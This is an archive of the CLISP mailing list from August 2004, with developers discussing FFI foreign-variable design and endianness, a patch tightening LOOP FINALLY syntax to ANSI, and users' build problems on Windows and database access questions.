>         (with-c-var (i '(c-ptr uint32))
>           (setf (cast i 'c-pointer) m)
>           (setq i (1- (ash 1 32)))
>           (push v ret)
That's the ugliest piece of Lisp(is that Lisp?) code I've seen in ages!

>since here we see that the answer depends on endianness,
>I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*.
I see no need. Better add interfaces to ntohl() etc. if that's needed for networking (is the problem at all about networking??)

>> BTW, what are you trying to achieve?
>Pascal asked this first.
I haven't seen where. If you mean
>- Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)?
then I believe he has enough elements to the solution now.
I suppose Pascal is amid UFFI, but I haven't seen more context.

>when is FOREIGN-VALUE useful?  why is it exported?
> [...] but when is it used standalone?
I consider it part of a layered API which the current impnotes does not yet reflect. When you work at a level where FOREIGN-VARIABLE becomes visible and useful, then FOREIGN-VALUE is your friend.
Of course, one can easily switch to a higher level using
WITH-C-PLACE to operate using the higher-level API, which is currently the only one to export SLOT, ELEMENT, CAST etc.
In my experience, code written using the higher-level API is a little shorter since it doesn't need an explicit FOREIGN-VALUE. Conversion is implicit.

However, certain things are not possible using the higher-level API, e.g. store a foreign-variable (i.e. a reference) object somewhere, instead of a Lisp copy.

Regards,
	Jorg Hohle.


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Hi,

Sam wrote:
>as for compile-time type parsing, why not use
>(define-compiler-macro parse-c-type (typespec &optional (name 
>nil) &whole form)
>  (if (constantp typespec)
>      (parse-c-type typespec name) ; parse at compile time
>      form)) ; decline: parse at run time
IMHO that's too aggressive. It works for simple cases, but does not consider complex DEF-C-TYPE or DEF-C-STRUCT.

I was rather thinking about using LOAD-TIME-VALUE, expecting types to be defined no later than that time, but found the xyz-time requirements of FFI completely unspecified.

More precisely: when/where must DEF-C-TYPE/STRUCT occur?

My thoughts about safe optimization were along a compile-time PARSE-C-TYPE trial that would only recognize simple cases (e.g. arrays etc. of primitive types, but no named structures). These can be inlined at compile-time.

The internal c-type-representation can become a complex object, possibly with circularities (not sure) and also contain function objects IIRC, in which case compile-time inlining is better avoided.

Summary:
0. internal representation can become quite complex. Don't test with just uint32 and (c-ptr (c-array uint16 2)).
1. trivial c-types are inlineable at compile-time
2. more (all the others??) are inlineable at load-time
3. unclear whether compile-time gives clear an advantage over load-time, considering possible drawbacks.
4. "trivial" is yet to be defined.

x. Need implementation notes about compile/run-time environment or interaction with DEF-C-TYPE or DEF-C-STRUCT.

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	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-05 16:45:42 +0200]:
>
> Sam wrote:
>
>>(let ((m (c-malloc 4)) ret)
>>  (unwind-protect [...]
>>    (c-free m)))
> That's what WITH-... (the foreign stack allocators) are for.
> I wouldn't want to review code with such a construct in it.
> I hope it was just to setup an example?!?

this is an example of a code which receives a pointer from the "outside"
(malloc) and then accesses the memory it refers to alternatively as
uint32 and int8[4].

>>         (with-c-var (i '(c-ptr uint32))
>>           (setf (cast i 'c-pointer) m)
>>           (setq i (1- (ash 1 32)))
>>           (push v ret)
> That's the ugliest piece of Lisp(is that Lisp?) code I've seen in ages!

how would you express these conversions?
please offer some _code_ which is equivalent to the following C:

  uint32 i;
  uint8 *p = &i;

  p[0] = 1; p[1] = 2; p[2] = 3; p[3] = 4;
  ASSERT(i == (1<<24) + (2<<16) + (3<<8) + 4);

>>since here we see that the answer depends on endianness,
>>I propose adding :LITTLE-ENDIAN or :BIG-ENDIAN to *FEATURES*.
> I see no need. Better add interfaces to ntohl() etc. if that's needed
> for networking (is the problem at all about networking??) 

IIUC, the result of my form is

(let ((m (c-malloc 4)) ret)
  (unwind-protect
       (with-c-var (v '(c-ptr (c-array uint8 4)))
         (setf (cast v 'c-pointer) m)
         (with-c-var (i '(c-ptr uint32))
           (setf (cast i 'c-pointer) m)
           (setq i 0)
           (push v ret)
           (setq i (1- (ash 1 32)))
           (push v ret)
           (setq v #A((unsigned-byte 8) (4) (1 2 3 4)))
           (push i ret))
         (nreverse ret))
    (c-free m)))
==>
(#A((unsigned-byte 8) (4) (0 0 0 0))
 #A((unsigned-byte 8) (4) (255 255 255 255))
 #+little-endian ; i386
 #.(+ (ash 4 24) (ash 3 16) (ash 2 8) 1)
 #+big-endian ; sparc
 #.(+ (ash 1 24) (ash 2 16) (ash 3 8) 4))

is this correct?

if it is, and a valid CLISP form can produce different results on
different hardware, then this calls for a *FEATURES* entry.

if it's not, please explain to me what endianness is about.

thanks.

>>when is FOREIGN-VALUE useful?  why is it exported?
>> [...] but when is it used standalone?

> I consider it part of a layered API which the current impnotes does
> not yet reflect. When you work at a level where FOREIGN-VARIABLE
> becomes visible and useful, then FOREIGN-VALUE is your friend. 
> Of course, one can easily switch to a higher level using
> WITH-C-PLACE to operate using the higher-level API, which is currently
> the only one to export SLOT, ELEMENT, CAST etc. 
> In my experience, code written using the higher-level API is a little
> shorter since it doesn't need an explicit FOREIGN-VALUE. Conversion is
> implicit. 
>
> However, certain things are not possible using the higher-level API,
> e.g. store a foreign-variable (i.e. a reference) object somewhere,
> instead of a Lisp copy. 

please write this up, with examples, preferably DocBook/XML (but plain
text is also good enough)

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Hi,

Sam wrote:
>this is an example of a code [...]
> then accesses the memory it refers to alternatively as
>uint32 and int8[4].
>please offer some _code_ which is equivalent to the following C:

As I've said here and there, I'm all in favour of thick bindings (interfaces). I see no need to import into Lisp idiocy from C, like accessing something either as an int or as a char[4], which is crying for portability problems.
Therefore there's no need for *features* to support such braindamage.

C idiocy is best dealt with at the C level, e.g. in a module.

When somebody really (really?) needs it, DEFCONSTANT (little/big-endian-test) is better, since it will not produce CLISP code compiled here to fail there.

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Hi,

I digged out my old FFI hacks toolbox and modified the following =
(untested) snippet. It may help Pascal getting UFFI to run.

(defun ffi::foreign-address-variable (name address internal-ctype)
  "This is a gross hack.
 You are forbidden from using it as soon as CLISP provides equivalent =
functionality."
  (check-type address (or foreign-address foreign-variable =
foreign-function))
  (check-type name (or null string))
  (assert (or (symbolp internal-ctype)
	      (simple-vector-p internal-ctype)))
  ;;need (setq address (foreign-address address))?
  (with-foreign-object (x 'c-pointer address)
    (let ((y (%offset x 0 internal-c-type)))
      (setf (sys::%record-ref y 0) name)
      (setf (foreign-pointer y) address)
      y)))

(defun ffi::my-foreign-address-variable (name address ctype)
  "This is a hack.
 You are forbidden from using it as soon as CLISP provides equivalent =
functionality.
 Additionaly, this one suffers from not being able to inline =
PARSE-C-TYPE."
  (check-type address (or foreign-address foreign-variable =
foreign-function))
  (check-type name (or symbol string))
  ;;(check-type ctype (or symbol list))
  ;;need (setq address (foreign-address address))?
  (with-c-var (x 'c-pointer address)
    (let ((y (c-var-object (offset x 0 ctype))))
      (setf (sys::%record-ref y 0) name)
      (setf (foreign-pointer y) address)
      y)))
;; Note that if you get ignore name you use only exported CLISP =
functions/macros in this low-performance case.

(defun foreign-variable (address internal-c-type &key name (offset 0))
  ;; A constructor with little overhead compared to the above
  ;; pointer from address
  ;; offset from address + offset (be careful to preserve pointer-base)
  ;; name defaults from address's name
  ;; c-type as given
  ;; I don't know where I put my notes about foreign-function =
interaction
  ;;To be implemented in the C part of CLISP
)

One advantage of using the internal-c-type is that
(foreign-variable address (parse-c-type '(xyz)) #) can be optimized.
Also, internal c-types can themselves be cached.

Also, I had thought whether FFI:CAST would be a good candidate for
untyped FOREIGN-ADDRESS -> typed FOREIGN-VARIABLE conversion.
Alas, currently CAST (and siblings) only operates on places and their
use for the lower-level API I've been talking about has not been
defined yet.

As I had already chosen FOREIGN-ADDRESS to be both a type and a =
constructor, I decided FOREIGN-VARIABLE would follow the same naming =
scheme, instead of MAKE-FOREIGN-VARIABLE, which is just another common =
idiom.

Note that such a constructor which accepts an internal-c-type =
representation is therefore part of the lower-level API.

I also have a Lisp-level FOREIGN-ADDRESS-FUNCTION constructor, which =
has plenty of uses (e.g. cached entries for variable array sizes or =
dynamic redeclaration).

Regards,
	J=F6rg H=F6hle


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-05 17:54:05 +0200]:
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> (defun foreign-variable (address internal-c-type &key name (offset 0))
>   ;; A constructor with little overhead compared to the above
>   ;; pointer from address
>   ;; offset from address + offset (be careful to preserve pointer-base)
>   ;; name defaults from address's name
>   ;; c-type as given
>   ;; I don't know where I put my notes about foreign-function interaction
>   ;;To be implemented in the C part of CLISP
> )

this is what register_foreign_variable() does.
would you like to export register_foreign_function() too?

> One advantage of using the internal-c-type is that
> (foreign-variable address (parse-c-type '(xyz)) #) can be optimized.
> Also, internal c-types can themselves be cached.

FOREIGN-VARIABLE can just check if the type argument is a list and call
PARSE-C-TYPE if necessary.

> I also have a Lisp-level FOREIGN-ADDRESS-FUNCTION constructor, which
> has plenty of uses (e.g. cached entries for variable array sizes or
> dynamic redeclaration).

that's register_foreign_function(), right?

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Hi,

Sam wrote:
>this is what register_foreign_variable() does.
>would you like to export register_foreign_function() too?
No. register_*()'s purpose is solely for making stuff defined in modules known. The only similarity is that they of course have to allocate_foreign_*().

>FOREIGN-VARIABLE can just check if the type argument is a list and call
>PARSE-C-TYPE if necessary.
I don't like this DWIM polymorphism. I'm for well defined types and well-layered interfaces. What you propose here is for a function from a lower-level to call out to a higher-level.
Please keep layers separated.
This DWIM stuff also adds complexity. E.g. instead of a parse-c-type compiler-macro optimizer, you now also need one for foreign-variable...

I agree that from a user POV (supposedly mostly using the external c-type representation), an interface at this level would be nice to have. But I suppose that somebody using the foreign-variable constructor may also want to know about parse-c-type, so I see no problem.
At least, I'd put this issue into the "maybe make (how??) CAST etc. also operate directly on foreign-variable objects" open topic.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-08-05 18:57:47 +0200]:
>
> Sam wrote:
>>this is what register_foreign_variable() does.
>>would you like to export register_foreign_function() too?

> No. register_*()'s purpose is solely for making stuff defined in
> modules known. The only similarity is that they of course have to
> allocate_foreign_*().

so you don't want to register these variables/functions in
O(foreign_variable_table)/O(foreign_function_table).

why give them a name then?

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<http://www.lisp.org/HyperSpec/Body/mac_loop.html>:
initial-final::= initially compound-form+ | finally compound-form+ 

The appended patch makes
    (loop for i from 1 to 10 finally return i)
illegal as required by the ANSI CL.

The code above "looks reasonable" (to whom?) and "works as expected" (by
whom?), i.e., returns 11 in both CLISP and LW.
It signals an error in CMUCL.

(loop initially for i from 1 to 10)
elicits only a warning even though it is illegal in ANSI CL.

The proposed patch incompatibly changes the behavior, so that both
initially and finally are treated identically (as specified in ANSI CL)
and require non-empty list of forms (also, as specified in ANSI CL).

The code which relies on the current behavior is non-portable an
non-compliant, and should be changes regardless of whether this
proposal is accepted or rejected.

This proposal is follows the CLISP tradition of strict compliance and
signaling errors in all questionable areas.

Unless there is a strong feeling to the contrary,
I will check in this patch.

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--- loop.lisp	11 Jun 2004 09:32:30 -0400	1.27
+++ loop.lisp	05 Aug 2004 15:06:30 -0400	
@@ -328,11 +328,8 @@
               (return))
             (push (pop body-rest) list))
            (nreverse list)))
-       (parse-nonempty-progn (kw) ;; after kw: parses {expr}* (CLtL2) or {expr}+ (CLHS)
-         (let ((exprs (parse-progn)))
-           (unless exprs
-             (warn (TEXT "~S: missing forms after ~A") 'loop (symbol-name kw)))
-           exprs))
+       (parse-nonempty-progn (kw) ;; after kw: parses {expr}+
+         (or (parse-progn) (loop-syntax-error kw)))
        (parse-unconditional () ;; parse an unconditional
          ;; unconditional ::= {do | doing} {expr}*
          ;; unconditional ::= return expr
@@ -521,8 +518,8 @@
         ; main ::= clause | termination | initially | finally |
         ;          with | for-as | repeat
         ; termination ::= {while | until | always | never | thereis} expr
-        ; initially ::= initially {expr}*
-        ; finally ::= finally { unconditional | {expr}* }
+        ; initially ::= initially {expr}+
+        ; finally ::= finally {expr}+
         ; with ::= with {var-typespec [= expr]}+{and}
         ; for-as ::= {for | as} {var-typespec ...}+{and}
         ; repeat ::= repeat expr
@@ -557,9 +554,7 @@
                  (push `(PROGN ,@(parse-nonempty-progn kw)) initially-code))
                 ((FINALLY)
                  (pop body-rest)
-                 (push (or (parse-unconditional)
-                           `(PROGN ,@(parse-nonempty-progn kw)))
-                       finally-code))
+                 (push `(PROGN ,@(parse-nonempty-progn kw)) finally-code))
                 ((WITH FOR AS REPEAT)
                  (pop body-rest)
                  (when already-within-main


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Hi,

Sam wrote:
>(loop for i from 1 to 10 finally return i)
>The code above "looks reasonable" (to whom?) and "works as 
>expected" (by whom?)
I remember myself writing such code.
Maybe CLtL2 was different?
Maybe return in finally is a left-over from the MIT-loop implementation which was widely used some years ago.

I preferred using return in finally instead of (return #) because the former seems like a loop-specific keyword/clause while the latter is the throw-out of the BLOCK construct, which has little to do with loop per se (except that LOOP implicitly creates a block).
Reading CLHS now I realize that RETURN as a LOOP special has no place in FINALLY.

Ok, I dug up CLtLII:
http://www.supelec.fr/docs/cltl/clm/node240.html#SECTION003032000000000000000
 o "The finally construct [...]. An unconditional clause can also follow the loop keyword finally."
"unconditional execution
 o The return construct [...]"

In other words, here you are deliberately throwing out CLtLII out of CLISP. I agree that CLtL1 is history, though.
Is it worth being incompatible with CLtLII like this?

>The code which relies on the current behavior is non-portable an
>non-compliant,
in ANSI at least.

There seems to be a specific finally return ANSI issue #223:
"14. Moon #26 -- Eliminate the ability to put a LOOP keyword after FINALLY"

>This proposal is follows the CLISP tradition of strict compliance and
>signaling errors in all questionable areas.
There's also some tradition for blindly applying by the letter some debatable/unclear parts of ANSI. :-)

>Unless there is a strong feeling to the contrary,
>I will check in this patch.
Go for it, at least in ANSI mode.
I'm pretty sure some (esp. old) code will break, so it now can be improved.

Regards,
	Jorg Hohle.


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Hi,

>so you don't want to register these variables/functions in
>O(foreign_variable_table)/O(foreign_function_table).
No. That's solely a mechanism to make modules work.

>why give them a name then?
Because the name slot is there
and because the name is printed.
So this can help people manipulate those pesky pointers.
It's informative, no more.

It's especially useful with the foreign-function constructor (not shown).

One of my initial APIs was
;; already part of my DYNLOAD module
(defun foreign-address-function (name address ctype)
  (check-type name (or null string))
i.e. one was obliged to supply a name or explicitly say NIL.

Another API was:
(defun ensure-foreign-function (ffunction ctype &optional name) #)
;- sort of cast for foreign-function objects.

The foreign variable and -function constructors must look very similar.

Probably people are more used to naming functions than variables or locations.

BTW, here's a deprecated entry out of my old FFI hacks toolbox
;this one does not preserve the foreign-address object, which is bad
'(defun fcast (ff c-type)
  "Create a funcall'able FOREIGN-FUNCTION object at the given address"
  ;;TODO add setf foreign-pointer-base
  (with-c-var (new-function 'c-pointer (foreign-address ff))
    (cast new-function c-type)))
;(fcast #'c-self '(c-function (:return-type int)))
It's deprecated in favour of the foreign-address-function or foreign-function constructor which exhibits nicer properties.

It gives you an idea of what can be done with just plain exported FFI forms.

Regards,
	Jorg Hohle


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(socket:socket-status (ext:make-xterm-io-stream)) --> :ERROR ; 1

instead of the more useful, and specified:

(socket:socket-status (ext:make-xterm-io-stream)) --> :INPUT ; 1

Note that:

     (let ((io (ext:make-xterm-io-stream)))
       (socket:socket-status io)
       (read-line io))

returns the line typed in  into the xterm.
           

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Hello all,

I recently succeeded in getting the postgresql module installed into my
CLISP.

I had many problems along the way, most of there were my errors, but one
of them may have been a bug in the clisp distribution (i am using
clisp-2.33).

The Makefile (and the Makefile.in) in the src/postgresql directory has
the line

CLISP = 

which i replaced with 

CLISP = <my home directory>/clisp-2.33/src/clisp

and it worked.

I hope this helps, and many thanks for clisp, i love it!
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-11 18:55:09 +0200]:
>
> (socket:socket-status (ext:make-xterm-io-stream)) --> :ERROR ; 1
>
> instead of the more useful, and specified:
>
> (socket:socket-status (ext:make-xterm-io-stream)) --> :INPUT ; 1
>
> Note that:
>
>      (let ((io (ext:make-xterm-io-stream)))
>        (socket:socket-status io)
>        (read-line io))
>
> returns the line typed in  into the xterm.

I simplified make-xterm-io-stream, please try CVS head.
thanks!

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> * Steve Eichblatt <fgrir@rvpuoyngg.hf> [2004-08-12 00:19:18 -0500]:
>
> The Makefile (and the Makefile.in) in the src/postgresql directory has
> the line
>
> CLISP = 

that's because modules are usually build as a part of the CLISP build
process, and the main CLISP makefile will pass CLISP='...' to make.

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hi,
  when I compiled the /src using MSVC6 in windowXP, the compiler show 
something like below.
could you tell me, why?  Thank you.

********************
E:\study\clisp-2.33.2\src>nmake

Microsoft (R) Program Maintenance Utility   Version 6.00.8168.0
Copyright (C) Microsoft Corp 1988-1998. All rights reserved.

        ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 
-IC:\PROGRA~
1\MICROS~3\VC98/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 
-IC:\PROGRA~1\MI
CROS~3\VC98/PlatformSDK/include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT 
-DNO_SIGSE
GV -I. spvwtabf.c > spvwtabf.i.c
        cl  -G5 -Os -Oy -Ob1 -Gs -Gf -Gy  -DUNICODE -DDYNAMIC_FFI 
-DNO_GETTEXT -
DNO_SIGSEGV -I. -c spvwtabf.i.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

spvwtabf.i.c
subr.d(165) : error C2099: initializer is not a constant
subr.d(165) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(166) : error C2099: initializer is not a constant
subr.d(166) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(167) : error C2099: initializer is not a constant
subr.d(167) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(168) : error C2099: initializer is not a constant
subr.d(168) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(169) : error C2099: initializer is not a constant
subr.d(169) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(171) : error C2099: initializer is not a constant
subr.d(171) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(172) : error C2099: initializer is not a constant
subr.d(172) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(173) : error C2099: initializer is not a constant
subr.d(173) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(174) : error C2099: initializer is not a constant
subr.d(174) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(175) : error C2099: initializer is not a constant
subr.d(175) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(176) : error C2099: initializer is not a constant
subr.d(176) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
subr.d(177) : error C2099: initializer is not a constant
subr.d(177) : warning C4047: 'initializing' : 'unsigned long ' differs in 
levels
 of indirection from 'void *'
...
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AI Robot writes:
> hi,
>   when I compiled the /src using MSVC6 in windowXP, the compiler show 
> something like below.
> could you tell me, why?  Thank you.

I don't know that clisp can be compiled with Microsoft compiler.

If I wanted to compile clisp on MS-Windows, I'd install cygwin and
compile it with gcc... http://www.cygwin.com/

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> * AI Robot <nvebobg008@ubgznvy.pbz> [2004-08-13 03:37:56 +0000]:
>
>   when I compiled the /src using MSVC6 in windowXP, the compiler show
>   something like below.

clisp builds with mingw (get cygwin and build with "./configure
--with-mingw --build build-dir") and mingw binary is faster than the one
built with MSVC6.

>
>         ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32
>         -IC:\PROGRA~
> 1\MICROS~3\VC98/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64
> -IC:\PROGRA~1\MI
> CROS~3\VC98/PlatformSDK/include  -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT
> -DNO_SIGSE
> GV -I. spvwtabf.c > spvwtabf.i.c
>         cl  -G5 -Os -Oy -Ob1 -Gs -Gf -Gy  -DUNICODE -DDYNAMIC_FFI
>         -DNO_GETTEXT -
> DNO_SIGSEGV -I. -c spvwtabf.i.c
> Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
> Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
>
> spvwtabf.i.c
> subr.d(165) : error C2099: initializer is not a constant
> subr.d(165) : warning C4047: 'initializing' : 'unsigned long ' differs
> in levels
>  of indirection from 'void *'

please try the appended patch from Arseny Slobodjuck.

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Index: lispbibl.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v
retrieving revision 1.514
retrieving revision 1.515
diff -u -w -b -u -b -w -i -B -r1.514 -r1.515
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   #define offsetof(type,ident)  ((ULONG)&(((type*)0)->ident))
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hi! i'm new to clisp.

i'm not able to view or edit input histories from where I've installed  
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> * Aldrich Co <qbtfxva@snfgznvy.sz> [2004-08-13 21:45:46 +0800]:
>
> i'm not able to view or edit input histories from where I've installed
> CLISP on (Mandrake 10)

<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>

did you build CLISP yourself?

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Hello,

I am building 2.33.2 version of clisp. I finally made it through the 
makefile with no errors. But now I can't seem to find an executable. I 
see the ico file but not an exe file. The last thing that the make 
process did was copy the .ico, .png files to the ../doc directory. What 
am I missing?

Mike

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> * Mike Teixeira <grvkrven@pf.befg.rqh> [2004-08-13 12:20:34 -0700]:
>
> I am building 2.33.2 version of clisp. I finally made it through the
> makefile with no errors. But now I can't seem to find an executable. I
> see the ico file but not an exe file. The last thing that the make
> process did was copy the .ico, .png files to the ../doc
> directory. What am I missing?

probably src/lisp.exe?
you will need to run it as
"src/lisp.exe -M src/lispinit.mem"
(replace "src" with your build directory)

why aren't you using the provided binary distribution?

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The question hasn't been asked in awhile, so I'm wondering
what the current situation is, and haven't been able to find
the answer in the usual ways (FAQ, Google, etc.): is there
something out there that provides a way to establish
connections from CLisp to MySQL?

pm





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>> * Mike Teixeira <grvkrven@pf.befg.rqh> [2004-08-13 12:20:34 -0700]:
>>
>> I am building 2.33.2 version of clisp. I finally made it through the
>> makefile with no errors. But now I can't seem to find an executable. I
>> see the ico file but not an exe file. The last thing that the make
>> process did was copy the .ico, .png files to the ../doc
>> directory. What am I missing?
>
> probably src/lisp.exe?
> you will need to run it as
> "src/lisp.exe -M src/lispinit.mem"
> (replace "src" with your build directory)

Awh crap, I should have seen that, thanks.
>
> why aren't you using the provided binary distribution?

I didn't see a binary distribution of 2.33.2 for windows on the 
sourceforge site. The research group I am building this for wants it to 
be multi-threaded so they want to use 2.33.2

thanks for your help,
mike

> -- 
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> The program isn't debugged until the last user is dead.
>
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> * Mike Teixeira <grvkrven@pf.befg.rqh> [2004-08-13 13:16:40 -0700]:
>
>> why aren't you using the provided binary distribution?
>
> I didn't see a binary distribution of 2.33.2 for windows on the
> sourceforge site.

there is 2.33.1 for windows, and the only difference between 2.33.1 and
2.33.2 affects Fedora Linux.

> The research group I am building this for wants it
> to be multi-threaded so they want to use 2.33.2

Unfortunately, CLISP does not offer multi-threading at this time.
<http://clisp.cons.org/wanted.html>

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> usual ways (FAQ, Google, etc.): is there something out there that
> provides a way to establish connections from CLisp to MySQL?

<http://clsql.b9.com/>
<http://uffi.b9.com/>
<http://www.informatimago.com/develop/lisp/>

also
<http://www.atp-media.de/odbc-cl/odbc.zip>

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I  am having a very strange time trying to compile clisp on W2k with
msys/MinGW.

1) A straight makemake->make gives me the error that it cannot find
win32.c (It seems to be confused as to what platform I am compiling on)

2) When I go and change the Makefile to look for win32.c instead of
unix.c (amongst a host of other unix*.c->win32*.c changes) it balks at
the final linking stage.  It cannot find all of these references to
various functions.

I am trying to compile a mathmap 0.14 for Gimp2.0 on w2k and clisp is
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I've looked around on the specified sites, but CLisp doesn't
seem to be supported, or, if it is listed as supported, it
seems to be early-stage development. 

So should I assume that there's nothing of similar 
functionality to Perl's DBI/DBD in the CLisp community? If 
that's the case, perhaps CMUCL would be a better choice for 
building dynamic web sites. 

The site http://lisp.t2100cdt.kippona.net/lispy/home/
describes one way to build sites with CMUCL.

I'm a Lisp newbie, but I've been seduced by some of Paul
Graham's writings into giving it a try. I build dynamic
sites for a living using FreeBSD, Apache, MySQL, Perl,
mod_perl, Mason, etc. Part of my job is to look into 
alternative tools and techniques, so that's what these
inquiries are about.

Thanks in advance for any information you can give me, 
and for your patience in dealing with what I'm sure is 
yet another newbie.

pm


On Fri, Aug 13, 2004 at 04:51:30PM -0400, Sam Steingold wrote:
> > * Patrick McNamee <cngz@ivfv.pbz> [2004-08-13 14:58:33 -0500]:
> >
> > The question hasn't been asked in awhile, so I'm wondering what the
> > current situation is, and haven't been able to find the answer in the
> > usual ways (FAQ, Google, etc.): is there something out there that
> > provides a way to establish connections from CLisp to MySQL?
> 
> <http://clsql.b9.com/>
> <http://uffi.b9.com/>
> <http://www.informatimago.com/develop/lisp/>
> 
> also
> <http://www.atp-media.de/odbc-cl/odbc.zip>


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 > So should I assume that there's nothing of similar 
 > functionality to Perl's DBI/DBD in the CLisp community? If 
 > that's the case, perhaps CMUCL would be a better choice for 
 > building dynamic web sites. 


If you're not dead set on using MySQL you can try CLISP's interfaces
to Oracle or PostgreSQL.  I have done industrial grade dynamic
database driven web sites in CLISP with Oracle as the backend
and had very good success with it.

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On Sat, Aug 14, 2004 at 03:38:19PM -0400, John K. Hinsdale wrote:
> 
>  > So should I assume that there's nothing of similar 
>  > functionality to Perl's DBI/DBD in the CLisp community? If 
>  > that's the case, perhaps CMUCL would be a better choice for 
>  > building dynamic web sites. 
> 
> 
> If you're not dead set on using MySQL you can try CLISP's interfaces
> to Oracle or PostgreSQL.  I have done industrial grade dynamic
> database driven web sites in CLISP with Oracle as the backend
> and had very good success with it.

I can also recommed Eric Marsdens pgsql, an interface to PostgreSQL
implemented completely in Lisp (without the need to use foreign
functions). I'm using it in one of my projects, a web application
written in Common Lisp (using clisp as the Lisp implementation) talking
to an PostgreSQL database.

The latest version of pgsql can be found at:

http://purl.org/net/emarsden/home/downloads/

Regards,
       Alex.
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Patrick McNamee writes:
> I've looked around on the specified sites, but CLisp doesn't
> seem to be supported, or, if it is listed as supported, it
> seems to be early-stage development. 
> 
> So should I assume that there's nothing of similar 
> functionality to Perl's DBI/DBD in the CLisp community? If 
> that's the case, perhaps CMUCL would be a better choice for 
> building dynamic web sites. 

Right now, for clisp, there's a postgresql module.

Also, mysql have a socket protocol that you could easily implement on
clisp.  In anycase, the mysql server may not run on the same host than
the web server.

At worst (ie. waitting for a more direct API), you could use:

   ;; untested pseudo-code:
   (with-open-stream (mysql (ext:run-program "/usr/bin/mysql"
                                  :arguments mysql-args
                                  :input :stream :output :stream :wait no))
        (format mysql "select * from such_table;") (finish-output)
        (loop
           (let ((line (read-line mysql)))
              (print line)
              (when (last-line line) (loop-finish)))))
    ;; last-line checks for "rows in set" or "Empty set" substrings in arg.


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 have some code that looks like this: 

          (if (y-or-n-p "restart: ")
              (setf idx 0)
            (setf stop-billing t)
            (return)) 

but when this bit of code gets compiled, I get:
ERROR in RUN-BILLING-FOR in lines 82..183 :
Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) 
(SETF STOP-BILLING T) (RETURN)) 

I have tried adding (progn) around this code as well as in the true portion 
of the form with no change (wasn't expecting one, but it's what I could 
think of to try). 

Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:
(DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL
INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory: C:\Documents and Settings\staggb\My 
Documents\clisp-2.33
.1\
User language: ENGLISH
Machine: PC/386 (PC/?86) 

I tried to send the rest of the code with this email, but it was
rejected by the moderator. If someone would like to look at the rest of
the code, let me know and I'll send it to you. 

Thanks for any assistance
Jeff

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> * joshua jacobs <wwnpbof2@q.hza.rqh> [2004-08-13 17:46:14 -0500]:
>
> I am having a very strange time trying to compile clisp on W2k with
> msys/MinGW.

I build CLISP on w2k using mingw like this:

$ ./configure --with-mingw --build build-O-mingw

(add "--with-module=..." to your desire).
works OOTB.
you can also download the binary I built this way from SF.

(I have never used msys/MinGW, the above is with cygwin.
the binary is cygwin-independent though)

> 1) A straight makemake->make gives me the error that it cannot find
> win32.c (It seems to be confused as to what platform I am compiling on)

I am sorry, I am afraid I do not understand what you are doing here.

> 2) When I go and change the Makefile to look for win32.c instead of
> unix.c (amongst a host of other unix*.c->win32*.c changes) it balks at
> the final linking stage.  It cannot find all of these references to
> various functions.

same here.  you might find
<http://clisp.cons.org/faq.html#bugs>
useful.

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> * Jeff Bowman <jbyswo@ovtsbbg.pbz> [2004-08-14 20:50:39 -0500]:
>
>  have some code that looks like this: 
>
>           (if (y-or-n-p "restart: ")
>               (setf idx 0)
>             (setf stop-billing t)
>             (return)) 
>
> but when this bit of code gets compiled, I get:
> ERROR in RUN-BILLING-FOR in lines 82..183 :
> Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) 
> (SETF STOP-BILLING T) (RETURN)) 

CLISP implements Common Lisp, not MacLISP.
IF can have only one form in the ELSE clause.

You need to write

     (if (y-or-n-p "restart: ")
         (setf idx 0)
         (progn
           (setf stop-billing t)
           (return)))

See
<http://www.lisp.org/HyperSpec/Body/speope_if.html>

> I tried to send the rest of the code with this email, but it was
> rejected by the moderator. If someone would like to look at the rest
> of the code, let me know and I'll send it to you.

best way is to send the URL to the list.

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Jeff Bowman writes:
>  have some code that looks like this: 
> 
